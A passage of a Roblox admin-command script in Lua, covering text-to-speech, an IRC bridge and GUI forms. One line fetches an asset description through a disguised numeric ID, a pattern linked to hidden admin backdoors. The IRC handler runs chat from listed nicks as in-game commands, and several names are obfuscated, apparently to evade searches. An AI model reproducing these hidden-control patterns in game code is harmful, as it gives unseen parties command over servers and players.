3314 table.remove(Letters, Num + 1)
3315 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3316 table.insert(IDs, TextConverter.LetterSounds["oo"])
3317 table.remove(Letters, Num + 1)
3318 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3319 table.insert(IDs, TextConverter.LetterSounds["th"])
3320 table.remove(Letters, Num + 1)
3321 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3322 table.insert(IDs, TextConverter.LetterSounds["sh"])
3323 table.remove(Letters, Num + 1)
3324 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3325 table.insert(IDs, TextConverter.LongVowels["e"])
3326 table.remove(Letters, Num + 1)
3327 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3328 table.insert(IDs, TextConverter.LetterSounds["wh"])
3329 table.remove(Letters, Num + 1)
3330 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3331 table.insert(IDs, TextConverter.LetterSounds["ch"])
3332 table.remove(Letters, Num + 1)
3333 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3334 table.insert(IDs, TextConverter.LetterSounds["f"])
3335 table.remove(Letters, Num + 1)
3336 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3337 table.insert(IDs, TextConverter.LetterSounds[Num])
3338 Letters[Num + 1] = "j"
3339 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3340 table.insert(IDs, TextConverter.LetterSounds["oo"])
3341 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3342 table.insert(IDs, TextConverter.LongVowels["e"])
3343 table.remove(Letters, Num + 1)
3344 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3345 table.insert(IDs, TextConverter.LongVowels["e"])
3346 table.remove(Letters, Num + 1)
3347 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3348 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3349 table.insert(IDs, TextConverter.LetterSounds["s"])
3350 Letters[Num + 1] = "~"
3351 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3352 table.insert(IDs, TextConverter.LongVowels[Letter])
3353 Letters[Num + 2] = "~"
3354 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3355 table.insert(IDs, TextConverter.LongVowels["i"])
3356 Letters[Num + 1] = "~"
3357 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3358 table.insert(IDs, TextConverter.LongVowels["o"])
3359 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3360 table.insert(IDs, TextConverter.LongVowels["i"])
3361 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3362 AddLetter()
3363 table.remove(Letters, Num + 1)
3364 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3365 Letters[Num] = "~"
3366 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3367 AddLetter()
3368 table.remove(Letters, Num + 1)
3369 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3370 AddLetter()
3371 table.remove(Letters, Num + 1)
3372 elseif Letters[Num+1] == Letter then
3373 table.remove(Letters, Num)
3374 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3375 AddLetter()
3376 table.remove(Letters, Num)
3377 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3378 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3379 elseif TextConverter.LetterSounds[Letter] then
3380 AddLetter()
3381 elseif STRING:IsSpacer(Letter) then
3382 table.insert(IDs, "Rest")
3383 end
3384 end
3385 end
3386
3387 return IDs
3388end
3389
3390function SOUND:StopSpeaking() coroutine.wrap(function()
3391 NoSpeak = true
3392 wait(1)
3393 NoSpeak = false
3394 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3395 if Obj.Name == "M".."M".."L Speak Sound" then
3396 Obj:Destroy()
3397 end
3398 end
3399end)() end
3400
3401function SOUND:SayConvertedText(IDs, Parent)
3402 if not Parent then Parent = Server.Workspace end
3403 local Sounds = {}
3404 for _,Data in pairs(IDs) do
3405 if NoSpeak and Parent == Server.Workspace then
3406 break
3407 end
3408 local Length = 0.3
3409 if Data ~= "Rest" then
3410 local ID = Data[1]
3411 Length = Data[2]
3412
3413 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3414 Sound.Name = "MML Speak Sound"
3415 table.insert(Sounds, Sound)
3416 Sound:Play()
3417 if Length then
3418 coroutine.wrap(function()
3419 wait(Length)
3420 Sound:Stop()
3421 end)()
3422 end
3423 end
3424 if not Length then Length = 0.3 end
3425 wait(Length/2)
3426 end
3427 coroutine.wrap(function()
3428 wait(1)
3429 for _,Sound in pairs(Sounds) do
3430 Sound:Destroy()
3431 end
3432 end)()
3433end
3434
3435local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3436
3437function SOUND:BeepPlayer(Player)
3438 if Player:FindFirstChild("PlayerGui") then
3439 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3440 Beep.Name = "Annoy"
3441 Beep:Play()
3442 end
3443end
3444
3445-- IRC functions --
3446
3447function IRC:GenerateName()
3448 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3449end
3450
3451function IRC:AddChat(Name, Data, IsError)
3452 if not IsError then IsError = false end
3453 CORE:Log(IRC.Logs, Name, Data)
3454 table.insert(IRC.Chats, {Name, Data, IsError})
3455 IRC.MessageAdded:Fire(Name, Data, IsError)
3456end
3457
3458function IRC:Post(URL,Data)
3459 if Data and Data ~= "" then
3460 local Suc,Resp = ypcall(function()
3461 return Server.HS:PostAsync(
3462 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3463 Data,
3464 Enum.HttpContentType.ApplicationUrlEncoded
3465 )
3466 end)
3467 if not Suc then
3468 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3469 return false
3470 end
3471 IRC.SessionCounter = IRC.SessionCounter + 1
3472 return Resp
3473 else
3474 IRC:AddChat("[ CLIENT ]", "Unknown error")
3475 end
3476end
3477
3478function IRC:Send(Data)
3479 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3480end
3481
3482function IRC:GetData()
3483 return IRC:Post("s","&s="..IRC.SessionID)
3484end
3485
3486function IRC:Connect()
3487 return IRC:Post("n","&nick="..IRC.NickName)
3488end
3489
3490function IRC:Join(Channel)
3491 if not Channel then
3492 AddChat("[ CLIENT ]", "No channel specified!")
3493 return false
3494 else
3495 local Channel = string.lower(Channel)
3496 if string.sub(Channel,1,1) ~= "#" then
3497 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3498 return false
3499 end
3500 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3501 IRC:Send("JOIN "..Channel)
3502 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3503 return true
3504 end
3505end
3506
3507function IRC:Pong(Data)
3508 return IRC:Send("PONG :"..Data)
3509end
3510
3511function IRC:Quit(Reason)
3512 IRC.Stop = true
3513 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3514end
3515
3516function IRC:ReceiveData()
3517 IRC.Stop = false
3518 local Data = IRC:GetData()
3519 if Data then
3520 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3521 end
3522 while Data and not Stop do
3523 local Data = IRC:GetData()
3524 if Data and #Data > 0 then
3525 IRC:HandleResponse(REMOTE:Decode(Data))
3526 end
3527 wait(2) -- Don't spam the server
3528 end
3529 if not Data then
3530 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3531 end
3532 if Stop == true then
3533 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3534 end
3535end
3536
3537function IRC:ConnectToServer(Server)
3538 if Connected then
3539 if not IRC.Servers[Server] then
3540 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3541 return false
3542 end
3543 IRC:Quit("New Connection")
3544 end
3545 local Response = IRC:Connect()
3546 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3547 local Data = REMOTE:Decode(Response)
3548 IRC.SessionID = Data[2]
3549 wait(1)
3550 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3551 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3552 IRC:Quit()
3553 IRC:ConnectToServer(Server)
3554 end
3555 IRC.Connected = true
3556 IRC:Join(Settings.IRCChannel)
3557 IRC:ReceiveData()
3558 IRC.Connected = false
3559 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3560end
3561
3562function IRC:FindUser(UserName)
3563 for UserID,User in pairs(IRC.Users) do
3564 if string.lower(User) == string.lower(UserName) then
3565 return UserID
3566 end
3567 end
3568 return nil
3569end
3570
3571function IRC:HandleResponse(Data)
3572 if type(Data) ~= "table" then
3573 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3574 ypcall(function()
3575 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3576 end)
3577 return false
3578 end
3579 for _,Output in pairs(Data) do
3580 if type(Output) == "table" and Output[2] then
3581 local ID = string.upper(Output[2])
3582 if not IRC.Ignore[ID] then
3583 if ID == "PING" then
3584 IRC:Pong(Output[4][1])
3585 elseif ID == "PRIVMSG" then
3586 local SenderDetails = Output[3]
3587 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3588 local Channel = string.lower(Output[4][1])
3589 if Channel == IRC.NickName then
3590 Channel = Sender
3591 -- TODO: Handle PM's
3592 end
3593 local Message = Output[4][2]
3594 if Message ~= nil then
3595 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3596 if string.find(Message,":") then
3597 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3598 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3599 IRC:AddChat(IRCUser, IRCMessage)
3600 end
3601 else
3602 IRC:AddChat("[ IRC ] "..Sender,Message)
3603 for _,Name in pairs(Settings.IRCCommandExecuters) do
3604 if string.lower(Name) == string.lower(Sender) then
3605 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3606 break
3607 end
3608 end
3609 end
3610 else
3611 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3612 end
3613 elseif ID == "NICK" then
3614 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3615 -- change nickname?
3616 elseif ID == "433" or ID == "451" then
3617 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3618 IRC:Quit("Nickname in use, rejoining with new name")
3619 IRC.NickName = IRC:GenerateName()
3620 wait(2) -- wait for old sessions to end
3621 IRC:ConnectToServer(Settings.IRCServer)
3622 elseif ID == "353" then
3623 if Data[4][4][4] then
3624 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3625 table.insert(IRC.Users, Output)
3626 end
3627 end
3628 elseif ID == "QUIT" or ID == "PART" then
3629 for User in string.gmatch(Data[1][3], "[^!~]+") do
3630 if IRC:FindUser(User) then
3631 IRC:AddChat("[ IRC ]", User.." has left")
3632 table.remove(IRC.Users, IRC:FindUser(User))
3633 end
3634 end
3635 elseif ID == "JOIN" then
3636 for User in string.gmatch(Data[1][3], "[^!~]+") do
3637 if not string.find(User, "qwebirc") then
3638 IRC:AddChat("[ IRC ]", User.." has joined")
3639 table.insert(IRC.Users,w)
3640 end
3641 end
3642 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3643 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3644 --IRC:Quit("Connection lost")
3645 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3646 --IRC:ConnectToServer(Settings.IRCServer)
3647 elseif IRC.Codes[ID] then
3648 --print(ID)
3649 --print(Data[i][4][2])
3650 --print(Data[i][4][2])
3651 elseif ID == "KICK" then
3652 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3653 IRC:Quit("Kicked from IRC")
3654 elseif ID then
3655 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3656 else
3657 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3658 end
3659 end
3660 else
3661 if Output == false then return false end -- sneeky server
3662 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3663 end
3664 end
3665end
3666
3667-- GUI functions --
3668
3669function GUI:GetColor(ColorName)
3670 if not ColorName then ColorName = Settings.ColorScheme end
3671 return Colors[string.upper(ColorName)]
3672end
3673
3674function GUI:ContrastColor(Color)
3675 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3676 if not Color then Color = GUI:GetColor() end
3677 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3678end
3679
3680
3681function GUI:GetNameColor(Name)
3682 local Val = 0
3683 for i = 1, #Name do
3684 local CVal = string.byte(string.sub(Name, i, i))
3685 local RevIndex = #Name - i + 1
3686 if #Name%2 == 1 then
3687 RevIndex = RevIndex - 1
3688 end
3689 if RevIndex%4 >= 2 then
3690 CVal = -CVal
3691 end
3692 Val = Val + CVal
3693 end
3694 local Index = Val%8 + 1
3695
3696 return BrickColor.new(ChatColors[Index])
3697end
3698
3699function GUI:Color3ToHex(Color)
3700 local function ConvertNumber(Number)
3701 local HexString = "0123456789abcdef"
3702 local Byte = ""
3703 while Number > 0 do
3704 local Calc = math.fmod(Number, 16)
3705 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3706 Number = math.floor(Number / 16)
3707 end
3708 if Calc == "" then
3709 Byte = "00"
3710 elseif #Byte == 1 then
3711 Byte = "0"..Byte
3712 elseif Byte == "" then
3713 Byte = "00"
3714 end
3715 return Byte
3716 end
3717 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3718end
3719
3720function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3721 if not Player then return nil end
3722 if not Player:FindFirstChild("PlayerGui") then return nil end
3723 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3724 if not TitleText then TitleText = "Unknown" end
3725 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3726 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3727 if not IconID then IconID = 19919809 end
3728 if ShowFormButtons == nil then ShowFormButtons = true end
3729 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3730 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3731 if AutoOffset == nil then AutoOffset = true end
3732 if Icons[IconID] then IconID = Icons[IconID] end
3733 if TweenPosition == nil then TweenPosition = true end
3734 if NoModal == nil then NoModal = false end
3735 if NoScrollFrame == nil then NoScrollFrame = false end
3736
3737 local IsClosed = false
3738 local Minus = nil
3739 local Offset = 0
3740 local ContentType = "ScrollingFrame"
3741 local TweenSpeed = 0.3
3742
3743 if AutoOffset then
3744 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3745 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3746 if Item.IsActive.Value == true then
3747 if Item.IsTrueForm.Value == true then
3748 Offset = Offset + 50
3749 end
3750 end
3751 end
3752 end
3753 end
3754
3755 if NoScrollFrame == true then
3756 ContentType = "Frame"
3757 end
3758
3759 SOUND:PlayNotification(Player, 155331654)
3760
3761 local Position = Position + UDim2.new(0,Offset,0,Offset)
3762 local MinimizePos = Position
3763
3764 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3765 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3766 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3767
3768 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3769 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3770 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3771 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3772 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3773 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3774 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3775 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3776 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3777
3778 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3779 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3780 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3781 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3782 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3783
3784 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3785
3786 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3787
3788 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3789 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3790 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3791 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3792 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3793 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3794
3795 if Settings.EnableTaskBar then
3796 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3797 else
3798 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3799 Title.Size = UDim2.new(1, -95, 0, 25)
3800 end
3801
3802 if not ShowFormButtons then
3803 X:Destroy()
3804 TitleEnd:Destroy()
3805 Title.Size = UDim2.new(1, -55, 0, 25)
3806 end
3807
3808 local function CloseForm()
3809 if IsClosed == false then
3810 IsActive.Value = false
3811 IsClosed = true
3812 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) SG:Destroy() end) end)
3813 Closed:Fire()
3814 SOUND:PlayNotification(Player, 206375138)
3815 end
3816 end
3817
3818 local function MinimizeForm()
3819 if IsActive.Value == true then
3820 IsActive.Value = false
3821 Minimized:Fire()
3822 MinimizePos = Dragger.Position
3823 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3824 end
3825 end
3826
3827 local function RestoreForm()
3828 if IsActive.Value == false then
3829 IsActive.Value = true
3830 Restored:Fire()
3831 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3832 end
3833 end
3834
3835 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3836 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3837
3838 Close.OnInvoke = CloseForm
3839 Minimize.OnInvoke = MinimizeForm
3840 Restore.OnInvoke = RestoreForm
3841
3842 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3843
3844 if TaskBar then
3845 TaskBar:WaitForChild("AddForm")
3846 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3847 end
3848
3849 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
3850end
3851
3852function GUI:CoreGui(Player, Type, Enable)
3853 local Parent = Player:FindFirstChild("Backpack")
3854 if not Parent then Parent = Player.Backpack end
3855 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
3856end
3857
3858function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime)
3859 if not Player or not Player:IsA("Player") then return nil end
3860 if BodyText == "" then return nil end
3861 if not Player:FindFirstChild("PlayerGui") then return nil end
3862
3863 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
3864 local TextColor = GUI:GetColor(MessageSplit[1])
3865 if TextColor then BodyText = MessageSplit[2] end
3866 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3867
3868 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
3869 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
3870
3871 if Frame then
3872 local FormBar = Frame.Parent.Parent.FormBar
3873 local Said = false
3874 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
3875 if Settings.EnableTaskBar then
3876 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
3877 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
3878 else
3879 Speak.Position = UDim2.new(1, -58, 0, 5)
3880 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
3881 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
3882 end
3883 CORE:HandleEvent(Speak, "MouseButton1Down", function()
3884 if not Said then
3885 Said = true
3886 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
3887 end
3888 end)
3889
3890 if TextColor then
3891 Body.TextColor3 = TextColor
3892 else
3893 Body.TextColor3 = Color3.new(1,1,1)
3894 end
3895
3896 if tonumber(Time) then coroutine.wrap(function()
3897 if AutoTime then
3898 Time = Time + math.floor(#BodyText/7)
3899 end
3900 local Alive = true
3901
3902 local function StopTimer() Alive = false end
3903 Closed.Event:connect(StopTimer)
3904 Minimized.Event:connect(StopTimer)
3905
3906 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
3907 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
3908 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
3909 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
3910 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
3911 for i = Time,0,-1 do
3912 for ii = 1,10 do
3913 if Alive == true then
3914 Ticker.Text = i
3915 wait(0.1)
3916 else
3917 break
3918 end
3919 end
3920 end
3921 if Alive == true then
3922 Close:Invoke()
3923 else
3924 Ticker:Destroy()
3925 Stop:Destroy()
3926 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
3927 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
3928 end
3929 end)() end
3930
3931 CORE:ExecuteResource("CalculateScrollY", Body)
3932 end
3933end
3934
3935function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
3936 if not Player then return nil end
3937 if not Player:IsA("Player") then return nil end
3938 if BodyText == "" then return nil end
3939 if not Player:FindFirstChild("PlayerGui") then return nil end
3940 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3941 local TextColor = GUI:ContrastColor()
3942 if Error then TextColor = Color3.new(1,0,0) end
3943
3944 local Frame, Close, Closed = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
3945 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
3946
3947 CORE:ExecuteResource("CalculateScrollY", Body)
3948
3949 return Frame, Close, Closed
3950end
3951
3952function GUI:SendHint(Player, Text, Time) coroutine.wrap(function()
3953 Text = STRING:FormatReplace(Player, string.sub(Text,1,100))
3954 local TweenTime = 0.5
3955 if not Time then Time = 5 end
3956 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
3957 local MaxPos = -1
3958 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
3959 local IVal = SGObj:FindFirstChild("Index")
3960 if IVal then
3961 MaxPos = math.max(MaxPos, IVal.Value)
3962 end
3963 end
3964 MaxPos = MaxPos + 1
3965 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
3966 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
